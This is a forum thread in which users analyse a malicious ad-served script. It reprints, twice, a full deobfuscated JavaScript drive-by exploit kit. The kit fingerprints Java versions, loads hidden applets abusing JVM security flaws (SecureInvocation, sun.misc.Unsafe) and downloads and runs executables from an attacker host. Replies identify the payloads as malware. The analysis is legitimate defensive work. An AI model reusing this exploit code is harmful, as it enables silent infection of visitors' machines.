Anybody know what this does? (2)

[JohnC]

Series of scripts/iframes:

http://freehomepages.com/astronomie/inceputuri.html
http://creative.clicksor.com/46821/c1067162256.html
http://especialads.com/banner/show.php?cid=1164623&tid=5014218916&sv=180x150

From: http://adxcnet.net/code/smain.php?scout=jvcxeng

Code: [Select]

<script language="javascript">
var chrstr = "ABCDEFG"+"HIJKLMNO"+"PQRSTUVWXYZabcdef"+"ghijklmnopqrstuvwxyz0123456789+/";
function sdf718d(ecstr1718) { var bits; var dcot=""; var i=0; for(i=0;i<ecstr1718.length;i+=4) { bits = (chrstr.indexOf(ecstr1718.charAt(i)) & 0xff) <<18 | (chrstr.indexOf(ecstr1718.charAt(i +1)) & 0xff) <<12 | (chrstr.indexOf(ecstr1718.charAt(i +2)) & 0xff) << 6 | chrstr.indexOf(ecstr1718.charAt(i +3)) & 0xff; dcot += String.fromCharCode((bits & 0xff0000) >>16, (bits & 0xff00) >>8, bits & 0xff); } if(ecstr1718.charCodeAt(i -2) == 61) { return(dcot.substring(0, dcot.length -2)); } else if(ecstr1718.charCodeAt(i -1) == 61) { return(dcot.substring(0, dcot.length -1)); } else {return(dcot)};}
document.write(sdf718d(unescape("LS0t"+"






















<script language="javascript">
if(navigator.javaEnabled()) {

var jvmmsvm, jvmsec, jvmusafe, jvmiproc;
var i=0; var x=0; var z=0;
if(navigator.appName.toLowerCase().indexOf("microsoft") != -1) {

// Get Clientcaps version
try {
oClientCaps = document.createElement("div");
oClientCaps.style.behavior = "url(#default#clientCaps)"; 
}catch(e){}

function GetVersion(CLSID) { try {
if(oClientCaps.isComponentInstalled(CLSID,"ComponentID")) { 
return oClientCaps.getComponentVersion(CLSID,"ComponentID").split(",");
} else { return Array(0,0,0,0); }
}catch(e){} }
       
var jvoc  = GetVersion("{08B0E5C0-4FCB-11CF-AAA5-00401C608500}"); 

// Get JavaApplet version
var jvmverm = document.createElement("applet");
jvmverm.archive = "jvmvers.jar";
jvmverm.code = "vmain.class";
jvmverm.width = "1"; jvmverm.height = "1";
document.body.appendChild(jvmverm);


//window.onload = definemsm;
function jvloadc() { i = i+1;
if(jvmverm.jversion || (typeof jvmverm.jversion != "undefined")) { definemsm(); }
else if(i < 30) { setTimeout("jvloadc()", 300); }
} setTimeout("jvloadc()", 300);

function definemsm() { try {
var jvjm, jvjv, jvja, sjmsjvm, sjsecmn, sjusafe, sjiproc;
try{ jvjm = jvmverm.jversion+""; jvjv = jvmverm.jvendor+""; }catch(e){}
if(jvjm.indexOf(".") == -1) { jvja = false; } else { jvja = jvjm.split("."); }
if(!jvja) { jvja = Array(0,0,"0_0"); }
var jvjas = jvja[2].split("_");
if((jvoc[0]!=0) && (jvoc[2]<3810) && ((jvja[1]<2) || (jvja[0]==0)) && (jvjv.indexOf("Microsoft") != -1)) { sjmsjvm = true; } else { sjmsjvm = false; }
if((jvja[0]!=0) && (((jvja[1]<=4) && (jvjas[0]<=2) && (jvjas[1]<06)) || (jvja[1]<=3))) { sjsecmn = true; } else { sjsecmn = false; }
if((jvja[0]!=0) && (((jvja[1]<=5) && (jvjas[0]==0) && (jvjas[1]<2)) || (jvja[1]<=4))) { sjusafe = true; } else { sjusafe = false; }
//if((jvja[0]!=0) && (((jvja[1]<=5) && (jvjas[0]==0) && (jvjas[1]<10)) || (jvja[1]<=4))) { sjiproc = true; } else { sjiproc = false; }
if((jvja[0]!=0) && (((jvja[1]==5) && (jvjas[0]==0) && (jvjas[1]<10)) || ((jvja[1]==4) && (jvjas[0]==2) && (jvjas[1]>5) && (jvjas[1]<13)))) { sjiproc = true; } else { sjiproc = false; }
printjameth(jvja, sjmsjvm, sjsecmn, sjusafe, sjiproc);
}catch(e){} }

} else { 
// Non ie browsers

// Get Script version
try {
var jvjs = java.lang.System.getProperty("java.version")+"";
if(jvjs.indexOf(".") == -1) { jvjs = false; } else { jvjs = jvjs.split("."); }
}catch(e) {}

// Get Plugin version
if((!jvjs) && navigator.plugins["Java Plug-in"]) { try {
var jpd = navigator.plugins["Java Plug-in"].description;
var jvjs = jpd.substring(jpd.indexOf("1"),jpd.indexOf(" ", jpd.indexOf("1")));
if(jvjs.indexOf(".") == -1) { jvjs = false; } else { jvjs = jvjs.split("."); }
}catch(e) {} }

// Get JavaApplet Version
if(!jvjs) { 
var jvmverf = document.createElement("applet");
jvmverf.archive = "jvmvers.jar";
jvmverf.code = "vmain.class";
jvmverf.width = "1"; jvmverf.height = "1";
document.body.appendChild(jvmverf);
}

if(!jvjs) { 
function jvloadfc() { i = i+1;
if(jvmverf.jversion) { defineffm(); }
else if(i < 30) { setTimeout("jvloadfc()", 300); }
} setTimeout("jvloadfc()", 300);
} else { setTimeout("defineffm()", 100); }

function defineffm() { try {
var sjmsjvm, sjsecmn, sjusafe, sjiproc;
if(!jvjs) { try{ var jvjj = jvmverf.jversion+""; jvjs = jvjj.split("."); }catch(e) {} }
if(jvjs) {
var jvjss = jvjs[2].split("_");
if((jvjs[0]!=0) && (jvjs[1]<2)) { var sjmsjvm = true; } else { sjmsjvm = false; }
if((jvjs[0]!=0) && (((jvjs[1]<=4) && (jvjss[0]<=2) && (jvjss[1]<06)) || (jvjs[1]<=3))) { sjsecmn = true; } else { sjsecmn = false; }
if((jvjs[0]!=0) && (((jvjs[1]<=5) && (jvjss[0]==0) && (jvjss[1]<2)) || (jvjs[1]<=4))) { sjusafe = true; } else { sjusafe = false; }
//if((jvjs[0]!=0) && (((jvjs[1]<=5) && (jvjss[0]==0) && (jvjss[1]<10)) || (jvjs[1]<=4))) { sjiproc = true; } else { sjiproc = false; }
if((jvjs[0]!=0) && (((jvjs[1]==5) && (jvjss[0]==0) && (jvjss[1]<10)) || ((jvjs[1]==4) && (jvjss[0]==2) && (jvjss[1]>5) && (jvjss[1]<13)))) { sjiproc = true; } else { sjiproc = false; }
printjameth(jvjs, sjmsjvm, sjsecmn, sjusafe, sjiproc);
}
}catch(e) {} }


} // End Else Not IE


function printjameth(jvers, sjmsjvm, sjsecmn, sjusafe, sjiproc) { try {
//alert("JVERSION: "+jvers+" MSJVM: "+sjmsjvm+" SECMAN: "+sjsecmn+" USAFE: "+sjusafe+" IMPRO: "+sjiproc);

if(sjmsjvm) {
jvmmsvm = document.createElement("applet");
jvmmsvm.archive = "jvmmsvm.jar";
jvmmsvm.code = "vmain.class";
jvmmsvm.width = "1"; jvmmsvm.height = "1";
var jvmmsvp = document.createElement("param");
jvmmsvp.name = "sdata";
jvmmsvp.value = "http://adxcnet.net/xrun.exe;http://adxcnet.net/xpre.exe";
jvmmsvm.appendChild(jvmmsvp);
document.body.appendChild(jvmmsvm);
}

if(sjsecmn) {
jvmsec = document.createElement("applet");
jvmsec.archive = "jvmsecman.jar";
jvmsec.code = "vmain.class";
jvmsec.width = "1"; jvmsec.height = "1";
document.body.appendChild(jvmsec);
setTimeout("sjvsecc()", 300);
}

if(sjusafe) {
jvmusafe = document.createElement("applet");
jvmusafe.archive = "jvmusafe.jar";
jvmusafe.code = "vmain.class";
jvmusafe.width = "1"; jvmusafe.height = "1";
document.body.appendChild(jvmusafe);
setTimeout("sjvusafc()", 300);
}

if(sjiproc) {
jvmimpro = document.createElement("applet");
jvmimpro.archive = "jvmimpro.jar";
jvmimpro.code = "vmain.class";
jvmimpro.width = "1"; jvmimpro.height = "1";
document.body.appendChild(jvmimpro);
}
}catch(e) {} }



function sjvsecc() { x = x+1;
if(typeof jvmsec.getClass != "undefined") { sjvmsec(); }
else if(x < 30) { setTimeout("sjvsecc()", 300); }
}

// SJ_SECMAN INVOKE
function sjvmsec() { try {
var sda="http://adxcnet.net/xrun.exe;http://adxcnet.net/xpre.exe";
var con=jvmsec.getClass().forName("sun.plugin.liveconnect.SecureInvocation");
var sys=jvmsec.getClass().forName("java.lang.System");
var sec=jvmsec.getClass().forName("java.lang.SecurityManager");
jvmsec.main(con, sys, sec, sda);
} catch(e) {} }



function sjvusafc() { z = z+1;
if(typeof jvmusafe.getClass != "undefined") { sjvmusaf(); }
else if(z < 30) { setTimeout("sjvusafc()", 300); }
}

// SJ_USAFE INVOKE
function sjvmusaf() { try { 
var sda = "http://adxcnet.net/xrun.exe;http://adxcnet.net/xpre.exe";
var ucl = jvmusafe.getClass().forName("sun.misc.Unsafe"); 
var umt = ucl.getMethod("getUnsafe", null); 
var usf = umt.invoke(umt, null); 
jvmusafe.main(usf); 
var dcl = usf.defineClass("vlocal", jvmusafe.bclass, 0, jvmusafe.classsz); 
var dcd = usf.allocateInstance(dcl); 
dcd.vload(usf, sda);
} catch(d) {} } 


}  // end javaenabled
</script>





")));
</script>
 
adxcnet.net/code/jvmvers.jar
http://www.virustotal.com/analisis/e24c42aee3ba1bf602b8aa0def38b177

Both the script and that jar file have 0 detection on VT, but googling would show that it is probably malicious:
http://www.google.com/search?q=adxcnet.net

[bobby]

There is more than one JAR file, it depends on browser version. You can also see a link to an exe in deobfuscated script.

Code: [Select]

<script language="javascript">
if(navigator.javaEnabled()) {

var jvmmsvm, jvmsec, jvmusafe, jvmiproc;
var i=0; var x=0; var z=0;
if(navigator.appName.toLowerCase().indexOf("microsoft") != -1) {

// Get Clientcaps version
try {
oClientCaps = document.createElement("div");
oClientCaps.style.behavior = "url(#default#clientCaps)";
}catch(e){}

function GetVersion(CLSID) { try {
if(oClientCaps.isComponentInstalled(CLSID,"ComponentID")) {
return oClientCaps.getComponentVersion(CLSID,"ComponentID").split(",");
} else { return Array(0,0,0,0); }
}catch(e){} }
       
var jvoc  = GetVersion("{08B0E5C0-4FCB-11CF-AAA5-00401C608500}");

// Get JavaApplet version
var jvmverm = document.createElement("applet");
jvmverm.archive = "jvmvers.jar";
jvmverm.code = "vmain.class";
jvmverm.width = "1"; jvmverm.height = "1";
document.body.appendChild(jvmverm);


//window.onload = definemsm;
function jvloadc() { i = i+1;
if(jvmverm.jversion || (typeof jvmverm.jversion != "undefined")) { definemsm(); }
else if(i < 30) { setTimeout("jvloadc()", 300); }
} setTimeout("jvloadc()", 300);

function definemsm() { try {
var jvjm, jvjv, jvja, sjmsjvm, sjsecmn, sjusafe, sjiproc;
try{ jvjm = jvmverm.jversion+""; jvjv = jvmverm.jvendor+""; }catch(e){}
if(jvjm.indexOf(".") == -1) { jvja = false; } else { jvja = jvjm.split("."); }
if(!jvja) { jvja = Array(0,0,"0_0"); }
var jvjas = jvja[2].split("_");
if((jvoc[0]!=0) && (jvoc[2]<3810) && ((jvja[1]<2) || (jvja[0]==0)) && (jvjv.indexOf("Microsoft") != -1)) { sjmsjvm = true; } else { sjmsjvm = false; }
if((jvja[0]!=0) && (((jvja[1]<=4) && (jvjas[0]<=2) && (jvjas[1]<06)) || (jvja[1]<=3))) { sjsecmn = true; } else { sjsecmn = false; }
if((jvja[0]!=0) && (((jvja[1]<=5) && (jvjas[0]==0) && (jvjas[1]<2)) || (jvja[1]<=4))) { sjusafe = true; } else { sjusafe = false; }
//if((jvja[0]!=0) && (((jvja[1]<=5) && (jvjas[0]==0) && (jvjas[1]<10)) || (jvja[1]<=4))) { sjiproc = true; } else { sjiproc = false; }
if((jvja[0]!=0) && (((jvja[1]==5) && (jvjas[0]==0) && (jvjas[1]<10)) || ((jvja[1]==4) && (jvjas[0]==2) && (jvjas[1]>5) && (jvjas[1]<13)))) { sjiproc = true; } else { sjiproc = false; }
printjameth(jvja, sjmsjvm, sjsecmn, sjusafe, sjiproc);
}catch(e){} }

} else {
// Non ie browsers

// Get Script version
try {
var jvjs = java.lang.System.getProperty("java.version")+"";
if(jvjs.indexOf(".") == -1) { jvjs = false; } else { jvjs = jvjs.split("."); }
}catch(e) {}

// Get Plugin version
if((!jvjs) && navigator.plugins["Java Plug-in"]) { try {
var jpd = navigator.plugins["Java Plug-in"].description;
var jvjs = jpd.substring(jpd.indexOf("1"),jpd.indexOf(" ", jpd.indexOf("1")));
if(jvjs.indexOf(".") == -1) { jvjs = false; } else { jvjs = jvjs.split("."); }
}catch(e) {} }

// Get JavaApplet Version
if(!jvjs) {
var jvmverf = document.createElement("applet");
jvmverf.archive = "jvmvers.jar";
jvmverf.code = "vmain.class";
jvmverf.width = "1"; jvmverf.height = "1";
document.body.appendChild(jvmverf);
}

if(!jvjs) {
function jvloadfc() { i = i+1;
if(jvmverf.jversion) { defineffm(); }
else if(i < 30) { setTimeout("jvloadfc()", 300); }
} setTimeout("jvloadfc()", 300);
} else { setTimeout("defineffm()", 100); }

function defineffm() { try {
var sjmsjvm, sjsecmn, sjusafe, sjiproc;
if(!jvjs) { try{ var jvjj = jvmverf.jversion+""; jvjs = jvjj.split("."); }catch(e) {} }
if(jvjs) {
var jvjss = jvjs[2].split("_");
if((jvjs[0]!=0) && (jvjs[1]<2)) { var sjmsjvm = true; } else { sjmsjvm = false; }
if((jvjs[0]!=0) && (((jvjs[1]<=4) && (jvjss[0]<=2) && (jvjss[1]<06)) || (jvjs[1]<=3))) { sjsecmn = true; } else { sjsecmn = false; }
if((jvjs[0]!=0) && (((jvjs[1]<=5) && (jvjss[0]==0) && (jvjss[1]<2)) || (jvjs[1]<=4))) { sjusafe = true; } else { sjusafe = false; }
//if((jvjs[0]!=0) && (((jvjs[1]<=5) && (jvjss[0]==0) && (jvjss[1]<10)) || (jvjs[1]<=4))) { sjiproc = true; } else { sjiproc = false; }
if((jvjs[0]!=0) && (((jvjs[1]==5) && (jvjss[0]==0) && (jvjss[1]<10)) || ((jvjs[1]==4) && (jvjss[0]==2) && (jvjss[1]>5) && (jvjss[1]<13)))) { sjiproc = true; } else { sjiproc = false; }
printjameth(jvjs, sjmsjvm, sjsecmn, sjusafe, sjiproc);
}
}catch(e) {} }


} // End Else Not IE


function printjameth(jvers, sjmsjvm, sjsecmn, sjusafe, sjiproc) { try {
//alert("JVERSION: "+jvers+" MSJVM: "+sjmsjvm+" SECMAN: "+sjsecmn+" USAFE: "+sjusafe+" IMPRO: "+sjiproc);

if(sjmsjvm) {
jvmmsvm = document.createElement("applet");
jvmmsvm.archive = "jvmmsvm.jar";
jvmmsvm.code = "vmain.class";
jvmmsvm.width = "1"; jvmmsvm.height = "1";
var jvmmsvp = document.createElement("param");
jvmmsvp.name = "sdata";
jvmmsvp.value = "http://adxcnet.net/xrun.exe;http://adxcnet.net/xpre.exe";
jvmmsvm.appendChild(jvmmsvp);
document.body.appendChild(jvmmsvm);
}

if(sjsecmn) {
jvmsec = document.createElement("applet");
jvmsec.archive = "jvmsecman.jar";
jvmsec.code = "vmain.class";
jvmsec.width = "1"; jvmsec.height = "1";
document.body.appendChild(jvmsec);
setTimeout("sjvsecc()", 300);
}

if(sjusafe) {
jvmusafe = document.createElement("applet");
jvmusafe.archive = "jvmusafe.jar";
jvmusafe.code = "vmain.class";
jvmusafe.width = "1"; jvmusafe.height = "1";
document.body.appendChild(jvmusafe);
setTimeout("sjvusafc()", 300);
}

if(sjiproc) {
jvmimpro = document.createElement("applet");
jvmimpro.archive = "jvmimpro.jar";
jvmimpro.code = "vmain.class";
jvmimpro.width = "1"; jvmimpro.height = "1";
document.body.appendChild(jvmimpro);
}
}catch(e) {} }



function sjvsecc() { x = x+1;
if(typeof jvmsec.getClass != "undefined") { sjvmsec(); }
else if(x < 30) { setTimeout("sjvsecc()", 300); }
}

// SJ_SECMAN INVOKE
function sjvmsec() { try {
var sda="http://adxcnet.net/xrun.exe;http://adxcnet.net/xpre.exe";
var con=jvmsec.getClass().forName("sun.plugin.liveconnect.SecureInvocation");
var sys=jvmsec.getClass().forName("java.lang.System");
var sec=jvmsec.getClass().forName("java.lang.SecurityManager");
jvmsec.main(con, sys, sec, sda);
} catch(e) {} }



function sjvusafc() { z = z+1;
if(typeof jvmusafe.getClass != "undefined") { sjvmusaf(); }
else if(z < 30) { setTimeout("sjvusafc()", 300); }
}

// SJ_USAFE INVOKE
function sjvmusaf() { try {
var sda = "http://adxcnet.net/xrun.exe;http://adxcnet.net/xpre.exe";
var ucl = jvmusafe.getClass().forName("sun.misc.Unsafe");
var umt = ucl.getMethod("getUnsafe", null);
var usf = umt.invoke(umt, null);
jvmusafe.main(usf);
var dcl = usf.defineClass("vlocal", jvmusafe.bclass, 0, jvmusafe.classsz);
var dcd = usf.allocateInstance(dcl);
dcd.vload(usf, sda);
} catch(d) {} }


}  // end javaenabled
</script>
I'll take a look at the JAR files now.

[CM_MWR]

http://adxcnet.net/xrun.exe
http://adxcnet.net/xpre.exe

Mucho Malware---Lots of crapwareadwares.

Ill usually see these at a crack site as a banner or a pop up,once they hit,the s*it hits the fan hard.

[bobby]

JAR files are used to determine JVM version (MS or Sun), to download and run a file that it will fetch from a URL passed as argument.

[JohnC]

Thank you both.